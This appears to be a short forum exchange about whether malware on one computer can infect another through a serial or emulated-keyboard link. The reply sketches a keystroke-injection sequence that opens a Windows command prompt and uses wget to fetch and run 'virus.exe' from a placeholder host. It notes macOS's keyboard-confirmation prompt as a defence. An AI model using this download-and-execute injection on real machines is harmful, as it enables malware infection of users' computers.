Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.
The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.